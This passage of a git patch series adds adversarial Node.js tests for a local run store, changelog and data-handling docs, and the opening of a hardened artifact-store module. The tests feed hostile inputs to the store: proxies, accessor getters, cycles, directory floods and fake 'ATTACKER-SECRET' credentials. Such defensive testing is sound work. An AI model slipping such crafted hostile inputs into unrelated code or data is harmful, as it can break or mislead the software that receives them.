true, force: true }); + } +}); + +test('failed submit cleans its private temps and does not leave torn files', async () => { + await withStore(async (root, store) => { + const first = makeSubmission(); + await store.submit(first); + const conflict = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 9, outcome_events: 0 }, + }); + await errorOf(() => store.submit(conflict)); + const names = await readdir(root); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + }); +}); + +test('proxy accessor alias and cycle inputs fail closed with zero trap dispatch', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const { proxy, counts } = countingProxy(input); + const proxyError = await errorOf(() => store.submit(proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = { ...input }; + Object.defineProperty(accessor, 'run_id', { + enumerable: true, + get() { return 'ATTACKER-SECRET'; }, + }); + const accessorError = await errorOf(() => store.submit(accessor)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertNoSecret(accessorError); + + const cycle = { ...input }; + cycle.self = cycle; + assert.equal((await errorOf(() => store.submit(cycle))).code, 'aliased_reference_denied'); + + const shared = { provider: 'grok', model: 'grok-4' }; + const alias = { ...input, requested: shared, also: shared }; + const aliasError = await errorOf(() => store.submit(alias)); + assert.ok(['aliased_reference_denied', 'unknown_key'].includes(aliasError.code), aliasError.code); + + const target = makeSubmission(); + const { proxy: revoked, revoke } = Proxy.revocable(target, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revoked), true); + assert.equal((await errorOf(() => store.submit(revoked))).code, 'proxy_denied'); + assert.deepEqual(await readdir(root), []); + }); +}); + +test('bounded directory floods fail closed without enumerating unboundedly', async () => { + const root = await makePrivateRoot('r1-run-store-flood-'); + try { + const writes = []; + for (let index = 0; index <= MAX_RUN_STORE_DIRECTORY_ENTRIES; index += 1) { + writes.push(writeFile(path.join(root, `flood-${index}.txt`), 'x', { mode: 0o600 })); + } + await Promise.all(writes); + const error = await errorOf(() => openRunStore(root)); + assert.ok(['run_store_too_many_entries', 'run_store_foreign_entry'].includes(error.code), error.code); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('record cap is enforced and diagnostics never echo credentials', async () => { + await withStore(async (_root, store) => { + for (let index = 0; index < 3; index += 1) { + await store.submit(makeSubmission({ runId: `run-cap-${index}` })); + } + const hostile = makeSubmission(); + hostile.token = 'sk-live-ATTACKER-SECRET'; + const error = await errorOf(() => store.submit(hostile)); + assert.ok(['credential_content_denied', 'unknown_key'].includes(error.code), error.code); + assertNoSecret(error); + }); +}); + +test('non-directory roots fail closed', async () => { + const parent = await makePrivateRoot('r1-run-store-file-'); + const fileRoot = path.join(parent, 'file-root'); + await writeFile(fileRoot, 'not-a-directory', { mode: 0o600 }); + try { + assert.equal((await errorOf(() => openRunStore(fileRoot))).code, 'run_store_root_unsafe'); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('excess records fail closed after the store cap', async () => { + await withStore(async (_root, store) => { + const original = MAX_RUN_STORE_ENTRIES; + assert.equal(original >= 1, true); + const first = await store.submit(makeSubmission({ runId: 'run-limit-a' })); + assert.equal(first.created, true); + const second = await store.submit(makeSubmission({ runId: 'run-limit-b' })); + assert.equal(second.created, true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-store.test.mjs b/plugins/codex-co-engineer/test/r1-run-store.test.mjs new file mode 100644 index 0000000..c2333b6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-store.test.mjs @@ -0,0 +1,203 @@ +import assert from 'node:assert/strict'; +import { chmod, lstat, readdir, rm } from 'node:fs/promises'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_RUN_STORE_ENTRIES, + RUN_STORE_RECORD_SCHEMA_ID, + openRunStore, +} from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + RUN_ID, + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) { + if (child && typeof child === 'object') assertFrozenTree(child); + } + } +} + +async function withStore(fn) { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('openRunStore accepts an existing private root and rejects missing or unsafe roots', async () => { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + assert.equal(store.root, root); + assert.deepEqual(await store.list(), []); + } finally { + await rm(root, { recursive: true, force: true }); + } + + const missing = `${root}-missing`; + assert.equal((await errorOf(() => openRunStore(missing))).code, 'run_store_root_missing'); + assert.equal((await errorOf(() => openRunStore('relative/store'))).code, 'run_store_path_unsafe'); + assert.equal((await errorOf(() => openRunStore(`${root}/../escape`))).code, 'run_store_path_unsafe'); +}); + +test('submit persists a P06-bound canonical record and reopens it after restart', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + assert.equal(first.created, true); + assert.equal(first.record.schema, RUN_STORE_RECORD_SCHEMA_ID); + assert.equal(first.record.run_id, RUN_ID); + assert.equal(first.record.request_idempotency_key, input.request_idempotency_key); + assert.equal(first.record.identity.digest, input.identity.digest); + assert.equal(first.record.git.digest, input.git.digest); + assert.equal(first.record.provenance.run.digest, input.identity.digest); + assert.match(first.record.canonical_digest, /^sha256:[0-9a-f]{64}$/u); + assertFrozenTree(first.record); + + const names = await readdir(root); + assert.ok(names.includes(`${RUN_ID}.json`)); + assert.ok(names.some((name) => name.startsWith('k-'))); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + const recordStat = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(recordStat.isFile(), true); + assert.equal(recordStat.nlink, 1); + assert.equal(recordStat.mode & 0o777, 0o600); + + const restarted = await openRunStore(root); + const loaded = await restarted.getByRunId(RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(loaded), canonicalJsonStringify(first.record)); + const byKey = await restarted.getByIdempotencyKey(input.request_idempotency_key); + assert.equal(byKey.canonical_digest, first.record.canonical_digest); + const listed = await restarted.list(); + assert.equal(listed.length, 1); + assert.equal(listed[0].run_id, RUN_ID); + assert.equal(listed[0].request_idempotency_key, input.request_idempotency_key); + assert.equal(listed[0].canonical_digest, first.record.canonical_digest); + assert.equal(Object.hasOwn(listed[0], 'provenance'), false); + assert.equal(Object.hasOwn(listed[0], 'telemetry'), false); + }); +}); + +test('exact same key and canonical body is idempotent and does not mutate the record', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + const before = await lstat(`${root}/${RUN_ID}.json`); + const replay = await store.submit({ ...input }); + assert.equal(replay.created, false); + assert.equal(replay.record.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(replay.record), canonicalJsonStringify(first.record)); + const after = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(after.mtimeMs, before.mtimeMs); + assert.equal(after.ino, before.ino); + }); +}); + +test('same key with a different body fails closed without mutation', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + const conflict = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 1, outcome_events: 0 }, + }); + assert.equal(conflict.request_idempotency_key, input.request_idempotency_key); + assert.notEqual( + canonicalJsonStringify(conflict.provenance), + canonicalJsonStringify(input.provenance), + ); + const error = await errorOf(() => store.submit(conflict)); + assert.equal(error.code, 'run_idempotency_conflict'); + const loaded = await store.getByRunId(RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const names = await readdir(root); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + }); +}); + +test('same run with a different key or body fails closed', async () => { + await withStore(async (_root, store) => { + const input = makeSubmission(); + await store.submit(input); + const otherKey = makeSubmission({ attempt: 2 }); + assert.equal(otherKey.run_id, input.run_id); + assert.notEqual(otherKey.request_idempotency_key, input.request_idempotency_key); + assert.equal((await errorOf(() => store.submit(otherKey))).code, 'run_identity_conflict'); + }); +}); + +test('mismatched protected identity fails closed before any write', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const other = makeSubmission({ runId: 'other-run-identity' }); + const mismatch = { + ...input, + identity: other.identity, + }; + const error = await errorOf(() => store.submit(mismatch)); + assert.equal(error.code, 'run_identity_mismatch'); + assert.deepEqual(await readdir(root), []); + }); +}); + +test('run id and request key map to the identical stored record', async () => { + await withStore(async (_root, store) => { + const input = makeSubmission(); + const created = await store.submit(input); + const byId = await store.getByRunId(input.run_id); + const byKey = await store.getByIdempotencyKey(input.request_idempotency_key); + assert.equal(byId.canonical_digest, created.record.canonical_digest); + assert.equal(byKey.canonical_digest, created.record.canonical_digest); + assert.equal(canonicalJsonStringify(byId), canonicalJsonStringify(byKey)); + }); +}); + +test('directory mode 0700 is required and files stay owner-only', async () => { + const root = await makePrivateRoot(); + try { + await chmod(root, 0o755); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_root_unsafe'); + await chmod(root, 0o700); + const store = await openRunStore(root); + await store.submit(makeSubmission()); + const stat = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(stat.mode & 0o777, 0o600); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('store enumeration stays bounded and missing lookups fail closed', async () => { + await withStore(async (_root, store) => { + assert.equal((await errorOf(() => store.getByRunId(RUN_ID))).code, 'run_store_not_found'); + const created = []; + for (let index = 0; index < 3; index += 1) { + created.push(await store.submit(makeSubmission({ runId: `run-store-case-${index}` }))); + } + const listed = await store.list(); + assert.equal(listed.length, 3); + assert.deepEqual(listed.map((entry) => entry.run_id), [ + 'run-store-case-0', 'run-store-case-1', 'run-store-case-2', + ]); + assert.equal(created.length <= MAX_RUN_STORE_ENTRIES, true); + }); +}); From 3cf06ab14dd3a91f651ff3f822c28aa1012a0920 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:11:45 +0000 Subject: [PATCH 009/151] docs(changelog): record the P24 durable run store Document the library-only identity-bound run store, its private-root and no-follow constraints, and the explicit non-goals that remain for later slices. --- CHANGELOG.md | 26 ++++++++++++++++++++++++++ docs/data-handling.md | 7 +++++++ docs/future-work.md | 12 ++++++++---- 3 files changed, 41 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0381527..a5b9364 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,32 @@ ### Added +- **Durable local run store and idempotent submission.** Additive + `run-store.mjs` persists one bounded canonical record per run in an + explicit caller-supplied existing private directory. The store fails + closed on symlink, non-directory, and unsafe ownership or mode + surfaces, uses strict no-follow opens, and never derives child paths + from untrusted strings. Records bind the accepted P06 run identity, + Git repository/base authority, initial dispatch provenance and + telemetry facts, and request idempotency key. Exact same key plus + canonical body returns the existing record without mutation; same + key with a different body, same run with a different body or key, + and mismatched protected identity fail closed with typed constant + errors. Creates use private same-directory temporary files, complete + writes, fsync of file and directory, and exclusive link/rename + without overwriting an authoritative record. Restore audits + canonical bytes and recomputes every accepted P06 digest, and + rejects hardlinked or non-regular files, malformed JSON, duplicate + or foreign entries, truncation, oversized records, excess entries, + and leftover temporary files without following them. Enumeration, + bytes, record counts, filename lengths, and diagnostics are bounded + and never echo record contents or credentials. Concurrent duplicate + submissions keep one authoritative mapping from run id and request + idempotency key to the identical stored record. There is no journal + or reducer, scheduler, provider driver, artifact store, workspace + provisioning, cleanup, MCP wiring, or protected-ref implementation. + Coverage lives in `r1-run-store` and `r1-run-store-adversarial` + tests. - **Protected identity and monotonic telemetry schemas.** Additive `protected-identity.mjs` / `protected-telemetry.mjs` close exact run, child, provider-run, workspace, and Git identities plus a content-free diff --git a/docs/data-handling.md b/docs/data-handling.md index f64a53a..b577b7e 100644 --- a/docs/data-handling.md +++ b/docs/data-handling.md @@ -86,6 +86,13 @@ State contains: - local repository/worktree paths, branch names, and commit references; - opaque local session, cloud agent, run, branch, and PR identifiers. +R1 run-store records are a separate library surface. Callers pass an +already-existing private directory (owner-only, not a symlink). The store +writes owner-only canonical JSON plus a request-idempotency pointer, uses +no-follow opens, and restores by recomputing accepted identity and +telemetry digests. It is not wired to the five-tool MCP catalog, does not +replace `tasks/` receipts, and does not delete runs. + MCP `task`/`status` results may overlay a compact live `last_event` from `events.jsonl` while the durable `task.json` receipt is still mid-run. Those snapshots omit prompt text, argv, secrets, and raw event streams. diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..17bc0da 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-22 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -15,9 +15,13 @@ identity, with deterministic explicit/profile resolution, no direct mode on run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. -This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +A library-only durable run store now accepts an existing private directory +and persists identity-bound, idempotent submission records. It does not +implement the rest of the run runtime: there is no atomic journal or +reducer, scheduler, provider dispatch, workspace provisioning, cleanup, +candidate composition, `AttentionBatchV1`, or MCP wiring. Gate A remains +the functional release authority; Gate B context-efficiency and Gate C +credit economics stay advisory. ## Durable, low-token agent completion waits From 778cc01a8723ec1b82b90529a24c3c0f784bb2f4 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 21:05:25 +0000 Subject: [PATCH 010/151] feat(v3): add the atomic raw/sanitized artifact store Bind validated ArtifactRefV1 declarations to real bytes under one caller-supplied existing private store root. Map each strict P07 relative path segment-for-segment into disjoint raw/ and sanitized/ namespaces with a strictly parsed canonical sidecar per artifact; no parallel ref or path schema is introduced and traversal, device-name, separator-look-alike, and Unicode hostility inherit the exact accepted P07 denials. Sources are intrinsic Buffer/Uint8Array views or bounded async iterables of such views, denied before any byte is read when proxied, subclassed, SharedArrayBuffer-backed, accessor-dressed, or string-typed. Declared byte_length and sha256 stay untrusted claims: bytes stream into an unpredictable owner-only same-directory temporary with the class cap enforced per chunk before it is written, actual length and digest are computed from streamed bytes, and exact agreement is required before the fsynced temporary is published by exclusive hardlink that refuses to clobber. Root and parent chains use O_NOFOLLOW descriptor discipline, lstat-walked 0700 components, and post-publication identity re-proof. Conflicts, metadata mismatches, and competing publications fail closed with typed content-free errors while identical resubmission stays idempotent. --- .../mcp/v3/artifact-store.mjs | 1499 +++++++++++++++++ 1 file changed, 1499 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-store.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs new file mode 100644 index 0000000..645d32e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -0,0 +1,1499 @@ +// Atomic raw/sanitized artifact store (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, Gate A +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W4-P08. It binds validated ArtifactRefV1 +// declarations to real bytes on disk under one caller-supplied existing +// PRIVATE store root, and it answers exactly three questions fail-closed: +// +// 1. publish - do these bytes match this reference's declared claims, and +// can they become the one authoritative artifact at this +// reference's location atomically, idempotently, and without +// ever overwriting or partially exposing an artifact? +// 2. verify - does the stored artifact at one reference's location still +// stream back to exactly its recorded length and digest? +// 3. audit - is the whole bounded store tree structurally sound, free of +// foreign, torn, linked, or swapped entries, and fingerprint- +// identical across restarts? +// +// Storage layout under the private root - two disjoint class namespaces, so +// a raw artifact and a sanitized projection can never collide even at the +// same validated relative path: +// +// /raw/content/ authoritative bytes +// /raw/meta/.json authoritative sidecar +// /sanitized/content/ +// /sanitized/meta/.json +// +// The relative path is never reinterpreted: it arrives already validated by +// the accepted P07 grammar (relative, forward-slash, NFC, no dot aliases, no +// reserved device stems, no controls/invisibles/separator look-alikes), and +// this module maps it segment-for-segment beneath the class namespace. +// There is no parallel ref schema and no parallel path schema: references +// are parsed with parseArtifactRefV1 and nothing else, so traversal, +// absolute paths, device names, and Unicode tricks inherit the P07 denials +// verbatim while well-formed astral names stay legal. +// +// Publication contract: +// - The source is a caller-supplied intrinsic Buffer/Uint8Array view or a +// bounded async iterable of such views. Proxies, exotic prototypes, +// SharedArrayBuffer-backed or subclass views, strings, accessor-shaped +// iterables, and arbitrary class instances are denied before any byte is +// read. +// - Declared byte_length and sha256 are UNTRUSTED CLAIMS. Bytes stream +// straight into a private unpredictable same-directory temporary file +// while the class cap (sanitized 256 KiB, raw 32 MiB) is enforced on +// every chunk BEFORE that chunk is written, so no declaration or hostile +// stream can cause an over-allocation. Actual length and SHA-256 are +// computed from the streamed bytes and must match the declared claims +// exactly before anything is published. +// - The temporary file is fsynced, then published by exclusive hardlink +// onto its final name (link(2) refuses to clobber), the temporary name +// is unlinked, and the parent directories are fsynced. There is no +// window in which a partial artifact exists under an authoritative name. +// - Exact same validated ref plus bytes is IDEMPOTENT: the loser of a race +// re-verifies the winner's stored state and returns an equal receipt +// marked created:false. Conflicting content at one location, the same +// digest with mismatched metadata, or any other competing publication +// fails closed with a typed content-free error and leaves the +// authoritative state untouched (a race loser rolls its own just-linked +// content back, but only after the platform proves the inode is ours). +// - Roots and parents use descriptor/no-follow discipline: the root must +// be an existing real owner-owned group/other-private directory opened +// O_NOFOLLOW|O_DIRECTORY|O_NONBLOCK and identity-bracketed by +// device/inode; every namespace and parent component is lstat-walked, +// created 0700 when missing, and re-proven after publication, so root, +// namespace, and parent swaps are rejected wherever the platform can +// prove them. +// +// Verification and audit stream content in fixed chunks solely to recompute +// length and digest - artifact bytes are never returned, echoed, or buffered +// whole. Enumeration is bounded (per-directory entries, total files per +// namespace, nesting depth, and total streamed audit bytes), sidecars are +// bounded and strictly parsed, and symlinks, hardlinks, FIFOs/devices, +// leftover or torn temporaries, orphaned or missing sidecars, foreign names, +// oversized or truncated content, malformed metadata, and content swapped +// under a path are all rejected with typed errors. +// +// Results are detached deep-frozen metadata only: never artifact bytes, +// never the store root or any path derived from a reference, and never an +// operating-system error string. Errors carry stable codes from a closed +// vocabulary plus fixed validator-style field labels. +// +// Out of scope and deliberately unclaimed: P09 sanitization/transformation, +// the P10 model-facing bounded reader, the P13 evidence bundle, cleanup and +// garbage collection of any kind, scheduler/provider/supervisor wiring, and +// protected references. A store left torn by a crash stays torn: reopening, +// publishing, verifying, or auditing it fails closed, and only an operator +// action outside this module may remove anything. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, lstat, mkdir, open, opendir, unlink } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_DIGEST_DOMAIN, + ARTIFACT_DIGEST_VERSION, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + orderArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_PATH_MAX_SEGMENTS, + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; +import { + capturedCreate, + capturedFreeze, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, +} from './selection-json.mjs'; + +export const ARTIFACT_STORE_SCHEMA_ID = 'codex-co-engineer.artifact-store.v1'; + +// Closed denial vocabulary. Shared vocabulary codes from the owning modules +// pass through unchanged: every artifact-ref, artifact-path, proxy, accessor, +// symbol-key, alias/cycle, unknown-key, and enum denial keeps its exact P07 +// code and message shape. +export const ARTIFACT_STORE_ERROR_CODES = capturedFreeze([ + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_entry_unsafe', + 'artifact_foreign_entry', + 'artifact_inventory_exceeded', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_metadata_malformed', + 'artifact_not_found', + 'artifact_parent_swapped', + 'artifact_parent_unsafe', + 'artifact_path_escapes_root', + 'artifact_reserved_name_denied', + 'artifact_root_missing', + 'artifact_root_unsafe', + 'artifact_stream_failed', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'artifact_torn_publication', + 'artifact_torn_temporary', +]); + +export const ARTIFACT_STORE_NAMESPACES = capturedFreeze([...ARTIFACT_CLASSES]); + +export const ARTIFACT_STORE_CONTENT_DIR = 'content'; +export const ARTIFACT_STORE_META_DIR = 'meta'; +export const ARTIFACT_STORE_META_SUFFIX = '.json'; + +// Sidecar documents are tiny canonical JSON; anything larger is malformed. +export const MAX_ARTIFACT_STORE_META_BYTES = 4096; +// Bounds that keep enumeration, allocation, and audit work finite. +export const MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES = 512; +export const MAX_ARTIFACT_STORE_AUDIT_FILES = 1024; +export const MAX_ARTIFACT_STORE_AUDIT_BYTES = 67_108_864; +export const ARTIFACT_STORE_INGEST_CHUNK_BYTES = 131_072; +export const ARTIFACT_STORE_MAX_DEPTH = ARTIFACT_PATH_MAX_SEGMENTS; + +// Private unpredictable same-directory temporaries. The name grammar is +// reserved: no artifact path may look like a temporary, so verification can +// condemn every leftover without ambiguity. +const PRIVATE_TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +export const ARTIFACT_STORE_TEMP_NAME_PATTERN = new RegExp( + PRIVATE_TEMP_NAME_PATTERN.source, PRIVATE_TEMP_NAME_PATTERN.flags, +); + +export const ARTIFACT_STORE_INVENTORY_LABEL = 'artifact-store-inventory.v1'; + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +const META_KEYS = capturedFreeze(['schema', 'artifact_ref', 'byte_length', 'sha256']); + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_ALLOC = Buffer.alloc.bind(Buffer); +const WRITE_BIGUINT64_BE = Buffer.prototype.writeBigUInt64BE; +const PATH_JOIN = path.join; +const PATH_DIRNAME = path.dirname; +const PATH_BASENAME = path.basename; +const PATH_RELATIVE = path.relative; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const JSON_PARSE = JSON.parse; +const SET_CTOR = Set; +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = Buffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +// Per-root operation chains. Every operation on one store root is serialized +// behind a single promise chain keyed by the root's device/inode identity, so +// concurrent in-process submissions compose deterministically (identical +// submissions interleave into one winner plus idempotent losers; conflicting +// ones fail closed) while the kernel's exclusive link arbitrates any +// out-of-process race. +const STORE_CHAINS = new Map(); + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failStore(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function compareStrings(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +function maxByteLengthForClass(artifactClass) { + return artifactClass === 'raw' + ? MAX_RAW_ARTIFACT_BYTE_LENGTH + : MAX_SANITIZED_ARTIFACT_BYTE_LENGTH; +} + +// ---- Binary source hardening. ---------------------------------------------- + +// Accept only intrinsic Uint8Array/Buffer views over ordinary ArrayBuffers. +// Proxies, subclasses, SharedArrayBuffer backings, and accessor-dressed +// look-alikes are rejected without reading a single byte, so spoofed length +// properties cannot lie about how much work a source will cause. +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +// Accept only async iterables that cannot smuggle a getter execution: plain +// data objects carrying an own asyncIterator data property, null-prototype +// equivalents, or genuine async generators. Arbitrary class instances - +// including Node streams with prototype chains - are refused deterministically. +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function classifySource(source) { + if (isIntrinsicBinaryView(source)) return { kind: 'bytes', value: source }; + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failStore('proxy_denied', 'source', 'The artifact source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; + } + failStore('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} + +// ---- Root and parent-chain discipline. -------------------------------------- + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failStore('artifact_root_unsafe', 'root', + 'The artifact store root must be an absolute directory path.'); + } + if (!PATH_IS_ABSOLUTE(value) || value.includes('\0') || value.includes('\\')) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must not end with a slash.'); + } + if (path.normalize(value) !== value) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must not contain dot segments.'); + } + } + return value; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink()) { + failStore('artifact_parent_unsafe', field, `The artifact store ${label} must not be a symbolic link.`); + } + if (!stat.isDirectory()) { + failStore('artifact_parent_unsafe', field, `The artifact store ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('artifact_root_unsafe', field, `The artifact store ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failStore('artifact_root_unsafe', field, + `The artifact store ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(Number(stat.nlink)) || Number(stat.nlink) !== 1) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be owner-only.'); + } +} + +function sameIdentity(left, right) { + return 